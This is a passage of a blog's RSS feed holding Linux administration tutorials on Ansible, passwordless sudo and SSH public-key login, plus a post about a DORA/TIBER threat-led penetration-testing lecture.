&lt;/span>&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#bbb"> &lt;/span>&lt;span style="color:#309;font-weight:bold">state&lt;/span>:&lt;span style="color:#bbb"> &lt;/span>present&lt;span style="color:#bbb">
&lt;/span>&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#bbb"> &lt;/span>&lt;span style="color:#309;font-weight:bold">groups&lt;/span>:&lt;span style="color:#bbb"> &lt;/span>[&lt;span style="color:#c30">&amp;#34;sudoless&amp;#34;&lt;/span>,&lt;span style="color:#bbb"> &lt;/span>&lt;span style="color:#c30">&amp;#34;sudo&amp;#34;&lt;/span>,&lt;span style="color:#bbb"> &lt;/span>&lt;span style="color:#c30">&amp;#34;adm&amp;#34;&lt;/span>]&lt;span style="color:#bbb">
&lt;/span>&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#bbb">&lt;/span>- &lt;span style="color:#309;font-weight:bold">authorized_key&lt;/span>:&lt;span style="color:#bbb">
&lt;/span>&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#bbb"> &lt;/span>&lt;span style="color:#309;font-weight:bold">user&lt;/span>:&lt;span style="color:#bbb"> &lt;/span>&lt;span style="color:#c30">&amp;#34;antero&amp;#34;&lt;/span>&lt;span style="color:#bbb">
&lt;/span>&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#bbb"> &lt;/span>&lt;span style="color:#309;font-weight:bold">key&lt;/span>:&lt;span style="color:#bbb"> &lt;/span>&lt;span style="color:#c30">&amp;#34;ssh-ed25519 U2VlIHlvdSBhdCBUZXJvS2FydmluZW4uY29tIQ== tero@example.com&amp;#34;&lt;/span>&lt;span style="color:#bbb">
&lt;/span>&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#bbb">&lt;/span>- &lt;span style="color:#309;font-weight:bold">copy&lt;/span>:&lt;span style="color:#bbb">
&lt;/span>&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#bbb"> &lt;/span>&lt;span style="color:#309;font-weight:bold">dest&lt;/span>:&lt;span style="color:#bbb"> &lt;/span>&lt;span style="color:#c30">&amp;#34;/etc/sudoers.d/sudoless&amp;#34;&lt;/span>&lt;span style="color:#bbb">
&lt;/span>&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#bbb"> &lt;/span>&lt;span style="color:#309;font-weight:bold">content&lt;/span>:&lt;span style="color:#bbb"> &lt;/span>&lt;span style="color:#c30">&amp;#34;%sudoless ALL = (ALL) NOPASSWD: ALL\n&amp;#34;&lt;/span>&lt;span style="color:#bbb">
&lt;/span>&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#bbb"> &lt;/span>&lt;span style="color:#309;font-weight:bold">owner&lt;/span>:&lt;span style="color:#bbb"> &lt;/span>&lt;span style="color:#c30">&amp;#34;root&amp;#34;&lt;/span>&lt;span style="color:#bbb">
&lt;/span>&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#bbb"> &lt;/span>&lt;span style="color:#309;font-weight:bold">group&lt;/span>:&lt;span style="color:#bbb"> &lt;/span>&lt;span style="color:#c30">&amp;#34;root&amp;#34;&lt;/span>&lt;span style="color:#bbb">
&lt;/span>&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#bbb"> &lt;/span>&lt;span style="color:#309;font-weight:bold">mode&lt;/span>:&lt;span style="color:#bbb"> &lt;/span>&lt;span style="color:#c30">&amp;#34;0644&amp;#34;&lt;/span>&lt;span style="color:#bbb">
&lt;/span>&lt;/span>&lt;/span>&lt;/code>&lt;/pre>&lt;/div>&lt;h2 id="first-run---chicken-or-egg">First run - chicken or egg?&lt;/h2>
&lt;p>For the first run, you don't yet have sudo without password.&lt;/p>
&lt;p>Let's make ansible try for sudo rights. Add &amp;quot;become: true&amp;quot; in the correct block in site.yml:&lt;/p>
&lt;div class="highlight">&lt;pre tabindex="0" style="background-color:#f0f3f3;-moz-tab-size:4;-o-tab-size:4;tab-size:4;">&lt;code class="language-yaml" data-lang="yaml">&lt;span style="display:flex;">&lt;span>- &lt;span style="color:#309;font-weight:bold">hosts&lt;/span>:&lt;span style="color:#bbb"> &lt;/span>all&lt;span style="color:#bbb">
&lt;/span>&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#bbb"> &lt;/span>&lt;span style="color:#309;font-weight:bold">become&lt;/span>:&lt;span style="color:#bbb"> &lt;/span>&lt;span style="color:#069;font-weight:bold">true&lt;/span>&lt;span style="color:#bbb">
&lt;/span>&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#bbb"> &lt;/span>&lt;span style="color:#309;font-weight:bold">roles&lt;/span>:&lt;span style="color:#bbb">
&lt;/span>&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#bbb"> &lt;/span>- world&lt;span style="color:#bbb">
&lt;/span>&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#bbb"> &lt;/span>- antero&lt;span style="color:#bbb">
&lt;/span>&lt;/span>&lt;/span>&lt;/code>&lt;/pre>&lt;/div>&lt;pre>&lt;code>$ ansible-playbook site.yml
&lt;/code>&lt;/pre>
&lt;p>Now it should complain that sudo needs password. Ansible asks this with -K aka --ask-become-password.&lt;/p>
&lt;pre>&lt;code>$ ansible-playbook site.yml --ask-become-password
&lt;/code>&lt;/pre>
&lt;h2 id="tips">Tips&lt;/h2>
&lt;p>When you got it to work manually, you have your example. Copy it to automation!&lt;/p>
&lt;ul>
&lt;li>Copy paste paths.&lt;/li>
&lt;li>Copy files or file contents.&lt;/li>
&lt;li>Use 'stat' to check for modes (permissions). Do not guess octal permissions, you have to understand them to avoid privesc worries.&lt;/li>
&lt;/ul>
&lt;p>Some IaC programs only reliably understand octal modes (numbers), and only as strings. I would also recommend explicit leading zero meaning no special permissions (no setgid...). So &amp;quot;0644&amp;quot;, in quotes. Maybe it has improved over the years? Who knows.&lt;/p></description></item><item><title>Sudo without password</title><link>https://terokarvinen.com/passwordless-sudo/</link><pubDate>Thu, 02 Apr 2026 16:04:03 +0300</pubDate><guid>https://terokarvinen.com/passwordless-sudo/</guid><description>
&lt;p>Ansible needs root on the slave. One way is to allow 'sudo' without password.&lt;/p>
&lt;p>Summary for gurus (the rest of us can read the article):&lt;/p>
&lt;pre>&lt;code>$ cat /etc/sudoers.d/sudoless
%sudoless ALL = (ALL) NOPASSWD: ALL
&lt;/code>&lt;/pre>
&lt;p>&lt;em>Draft: This article has commands written from memory. It has not gone trough quality assuarance and testing yet.&lt;/em>&lt;/p>
&lt;img src="https://terokarvinen.com/passwordless-sudo/sudo-logo_hu90c7c77f1bb985b8b0dfccb8c62285a4_186853_400x400_fit_box_3.png" width="358" height="400" alt=" " class="imgOne right">
&lt;p>This short tutorial assumes you know the &lt;a href="https://terokarvinen.com/2020/command-line-basics-revisited/">basics of Linux command line&lt;/a> and have &lt;a href="https://terokarvinen.com/ssh-public-key-login-without-password/">installed openssh-server&lt;/a>.&lt;/p>
&lt;h2 id="create-the-new-user">Create the new user&lt;/h2>
&lt;p>Let's create a user and add it to &amp;quot;sudoless&amp;quot; group that we'll set up later. We'll call him antero, a neologism from &amp;quot;Ansible&amp;quot; and &amp;quot;Tero&amp;quot;, yours truly.&lt;/p>
&lt;p>Always use only good passwords. Never use bad passwords, even for a moment. Practice doing it right, don't practice doing it wrong.&lt;/p>
&lt;pre>&lt;code>$ sudo adduser antero
$ sudo groupadd sudoless
$ sudo adduser antero sudoless
&lt;/code>&lt;/pre>
&lt;h2 id="broken-sudo-insurance">Broken sudo insurance&lt;/h2>
&lt;p>Open a new window, ssh to target machine as needed. Then open a root shell using sudo.&lt;/p>
&lt;p>If we break sudo, this might be a way to fix it. Otherwise, broken sudo prevents us from using sudo to fix the broken files.&lt;/p>
&lt;pre>&lt;code>$ sudo -i # just while fiddling with sudoers
&lt;/code>&lt;/pre>
&lt;p>We don't wont to work in the root shell (where the prompt is a hash &amp;quot;#&amp;quot;).&lt;/p>
&lt;p>So leave the root shell window behind and go back to the normal window.&lt;/p>
&lt;h2 id="new-sudoers-rule">New sudoers rule&lt;/h2>
&lt;p>Let's create a sudoers rule that allows members of &amp;quot;sudoless&amp;quot; group use 'sudo' without password.&lt;/p>
&lt;p>Visudo runs our default $EDITOR. But has some checks for obvious errors.&lt;/p>
&lt;p>As usual, we'll use .d/ dirs if available. And luckily, sudoers has /etc/sudoers.d/.&lt;/p>
&lt;pre>&lt;code>$ sudo visudo /etc/sudoers.d/sudoless
&lt;/code>&lt;/pre>
&lt;p>Add our oneliner there&lt;/p>
&lt;pre>&lt;code>%sudoless ALL = (ALL) NOPASSWD: ALL
&lt;/code>&lt;/pre>
&lt;p>What does the sudoers line mean?&lt;/p>
&lt;table>
&lt;thead>
&lt;tr>
&lt;th>Token&lt;/th>
&lt;th>Meaning&lt;/th>
&lt;/tr>
&lt;/thead>
&lt;tbody>
&lt;tr>
&lt;td>%sudoless&lt;/td>
&lt;td>Percent &amp;quot;%&amp;quot; means group&lt;/td>
&lt;/tr>
&lt;tr>
&lt;td>ALL&lt;/td>
&lt;td>All computers&lt;/td>
&lt;/tr>
&lt;tr>
&lt;td>=&lt;/td>
&lt;td>Literal equals &amp;quot;=&amp;quot;, a separator&lt;/td>
&lt;/tr>
&lt;tr>
&lt;td>(ALL)&lt;/td>
&lt;td>Runas: may become any user, including root&lt;/td>
&lt;/tr>
&lt;tr>
&lt;td>NOPASSWD&lt;/td>
&lt;td>Tag: don't prompt for password&lt;/td>
&lt;/tr>
&lt;tr>
&lt;td>:&lt;/td>
&lt;td>Literal colon &amp;quot;:&amp;quot;, a separator&lt;/td>
&lt;/tr>
&lt;tr>
&lt;td>ALL&lt;/td>
&lt;td>All commands permitted&lt;/td>
&lt;/tr>
&lt;/tbody>
&lt;/table>
&lt;p>So it's something like:&lt;/p>
&lt;pre>&lt;code>%group COMPUTERS: (RUNAS) TAG: COMMANDS.
&lt;/code>&lt;/pre>
&lt;h2 id="test">Test&lt;/h2>
&lt;p>&lt;em>not tested == not done&lt;/em>&lt;/p>
&lt;p>New groups are effective only after logout-login. So if you're logged in as &amp;quot;antero&amp;quot;, log out and back.&lt;/p>
&lt;p>If you have recently given 'sudo' commands as &amp;quot;antero&amp;quot;, sudo will remember your credentials for a while. Use 'sudo -k' to forget them.&lt;/p>
&lt;pre>&lt;code>$ ssh antero@localhost
$ sudo -k
$ sudo echo &amp;quot;See you at TeroKarvinen.com&amp;quot;
See you at TeroKarvinen.com
&lt;/code>&lt;/pre>
&lt;p>No password asked? Great! You now have passwordless sudo. You could use it with Ansible.&lt;/p>
&lt;h2 id="adminstrivia">Adminstrivia&lt;/h2>
&lt;p>Sudo logo my Mark Stillman 2019, received under CC-BY-4.0.&lt;/p></description></item><item><title>DORA &amp; Threat Lead Penetration Testing with Marko</title><link>https://terokarvinen.com/buuri-2026-dora-and-threat-lead-penetration-testing/</link><pubDate>Tue, 31 Mar 2026 14:54:33 +0300</pubDate><guid>https://terokarvinen.com/buuri-2026-dora-and-threat-lead-penetration-testing/</guid><description>
&lt;p>Banks are now required to do red teaming exercises. Marko Buuri (Bank of Finland) showed us how TIBER-FI helps to create threat intel based red teaming exercises.&lt;/p>
&lt;p>Marko's visit was part of my &lt;a href="https://terokarvinen.com/tunkeutumistestaus/">Penetration Testing&lt;/a> course. You can &lt;a href="https://terokarvinen.com/newsletter/">join my list&lt;/a> to get invitations to similar events.&lt;/p>
&lt;h2 id="synopsis">Synopsis&lt;/h2>
&lt;img src="https://terokarvinen.com/buuri-2026-dora-and-threat-lead-penetration-testing/mark-buuri-talks-tiber-in-teros-pentest-course_hu09239795106670e281e38133c0de53b3_296907_400x400_fit_box.png" width="400" height="217" alt=" " class="imgOne right padSides">
&lt;p>Cybersecurity red team testing has evolved from underground art to regulated operations in the European financial sector. This lecture explores the requirement for advanced threat-led penetration testing in EU's DORA regulation, and practical guidance on how those projects are organized and delivered according to the TIBER-EU guidance across Europe.&lt;/p>
&lt;h2 id="slides">Slides&lt;/h2>
&lt;p>Buuri 2026: &lt;a href="buuri-2026-dora-and-threat-lead-penetration-testing--teros-pentest-course.pdf">DORA and TLPT testing - Lecture for Haaga-Helia on 31 March 2026&lt;/a> (pdf, 2 MB)&lt;/p>
&lt;h2 id="links">Links&lt;/h2>
&lt;p>&lt;a href="https://eur-lex.europa.eu/eli/reg/2022/2554/oj/eng">DORA (Regulation ... on digital operational resilience for the financial sector)&lt;/a>&lt;/p>
&lt;ul>
&lt;li>Article 26 defines threat-lead penetration testing. &amp;quot;Advanced testing of ICT tools, systems and processes based on TLPT&amp;quot;&lt;/li>
&lt;li>Article 27 defines the requirements for the testers. &amp;quot;Requirements for testers for the carrying out of TLPT&amp;quot;&lt;/li>
&lt;/ul>
&lt;p>Bank of Finland (Suomen Pankki): &lt;a href="https://www.suomenpankki.fi/tiberfi">TIBER-FI and TIBER-EU guidance&lt;/a>&lt;/p>
&lt;ul>
&lt;li>&lt;a href="https://www.suomenpankki.fi/globalassets/bof/en/money-and-payments/the-bank-of-finland-as-catalyst-payments-council/tiber-fi/tiber-fi-2.0-procedures-and-guidelines.pdf">TIBER-FI procedures and guidelines&lt;/a> (pdf, 1 MB)&lt;/li>
&lt;/ul>
&lt;p>Buuri 2026: &lt;a href="https://youtu.be/z6KIEEknKjM?si=7n8cNWynzMrEwdWZ">D26 - Releasing Your Inner TIBER in Regulated Adversary Simulations&lt;/a>. Video, 45 min. Disobey 2026.&lt;/p>
&lt;h2 id="slides-taster">Slides taster&lt;/h2>
&lt;p>You can &lt;a href="buuri-2026-dora-and-threat-lead-penetration-testing--teros-pentest-course.pdf">download the whole deck&lt;/a>.&lt;/p>
&lt;p>&lt;img src="slide-07-buuri-2026-dora-and-threat-lead-penetration-testing--teros-pentest-course.png" alt="">&lt;/p>
&lt;p>&lt;img src="slide-22-buuri-2026-dora-and-threat-lead-penetration-testing--teros-pentest-course.png" alt="">&lt;/p>
&lt;p>&lt;img src="slide-32-buuri-2026-dora-and-threat-lead-penetration-testing--teros-pentest-course.png" alt="">&lt;/p>
&lt;h2 id="bio">Bio&lt;/h2>
&lt;p>Marko Buuri is cyber security adviser in the Bank of Finland (Suomen Pankki). He has over 20 years of in-house and consulting cyber experience. Since 2020 he's been involved in implementing and operating TIBER-FI red team testing framework for the financial sector in Finland.&lt;/p></description></item><item><title>SSH public key - Login without password</title><link>https://terokarvinen.com/ssh-public-key-login-without-password/</link><pubDate>Thu, 26 Mar 2026 14:50:58 +0200</pubDate><guid>https://terokarvinen.com/ssh-public-key-login-without-password/</guid><description>
&lt;p>SSH is the leading solution for securily logging into servers.&lt;/p>
&lt;p>Many products use SSH in the background: git, rsync, ansible...&lt;/p>
&lt;p>Public key authentication is quite convenient. You don't need to type your password for every 'git push' or 'ansible-playbook'. Use correctly, it can also make your server more secure.&lt;/p>
&lt;p>This example is written for Debian 13-trixie.&lt;/p>
&lt;p>&lt;em>Draft: This article has commands written from memory. It has not gone trough quality assuarance and testing yet.&lt;/em>&lt;/p>
&lt;h2 id="install-ssh">Install SSH&lt;/h2>
&lt;p>Install the OpenSSH-server package&lt;/p>
&lt;pre>&lt;code>$ sudo apt-get update
$ sudo apt-get -y install ssh
&lt;/code>&lt;/pre>
&lt;p>Make SSH daemon start on boot (enable) and also start it now (--now)&lt;/p>
&lt;pre>&lt;code>$ sudo systemctl enable --now ssh
&lt;/code>&lt;/pre>
&lt;h3 id="test-ssh">Test SSH&lt;/h3>
&lt;p>Normally, you would say user@host, such as &lt;a href="mailto:tero@example.com">tero@example.com&lt;/a>. Here, we can leave out username, as it's the same on both machines.&lt;/p>
&lt;pre>&lt;code>$ ssh localhost
&lt;/code>&lt;/pre>
&lt;p>With 'w', you can see yourself logged in twice: once on the desktop, once trough ssh.&lt;/p>
&lt;pre>&lt;code>remote$ exit
&lt;/code>&lt;/pre>
&lt;h3 id="automatic-login-with-ssh-public-key">Automatic login with SSH public key&lt;/h3>
&lt;p>Generate a keypair&lt;/p>
&lt;pre>&lt;code>$ ssh-keygen # enter enter enter to accept the defaults
&lt;/code>&lt;/pre>
&lt;p>If you already have a keypair, don't overwrite it. The public key ($HOME/.ssh/id_*.pub) is literally public, you can use the same public key in all hosts. The public key ends with &amp;quot;.pub&amp;quot;.&lt;/p>
&lt;p>If you need the public key for VPS (virtual private server) provider, you can see and copy-paste your keys with 'head $HOME/.ssh/id*.pub'.&lt;/p>
&lt;p>Copy it to hosts where you can already log in.&lt;/p>
&lt;pre>&lt;code>$ ssh-copy-id localhost
&lt;/code>&lt;/pre>
&lt;p>Once you've entered your password for the last time, ssh-copy-id adds your public key into .ssh/authorized_keys on the remote machine. Now your key is authorized for logins.&lt;/p>
&lt;p>Your public key is used automatically&lt;/p>
&lt;pre>&lt;code>$ ssh localhost
&lt;/code>&lt;/pre>
&lt;p>Did you log in without giving your password?&lt;/p>
&lt;p>Well done, you've now automated login with SSH public keys.&lt;/p>
&lt;h2 id="troubleshooting">Troubleshooting&lt;/h2>
&lt;p>Here are some helpfull troubleshooting commands.&lt;/p>
&lt;p>Client side:&lt;/p>
&lt;pre>&lt;code>$ ssh -v localhost
&lt;/code>&lt;/pre>
&lt;p>Server side:&lt;/p>
&lt;pre>&lt;code>$ sudo journalctl --follow
$ sudo systemctl status ssh
&lt;/code>&lt;/pre></description></item></channel></rss>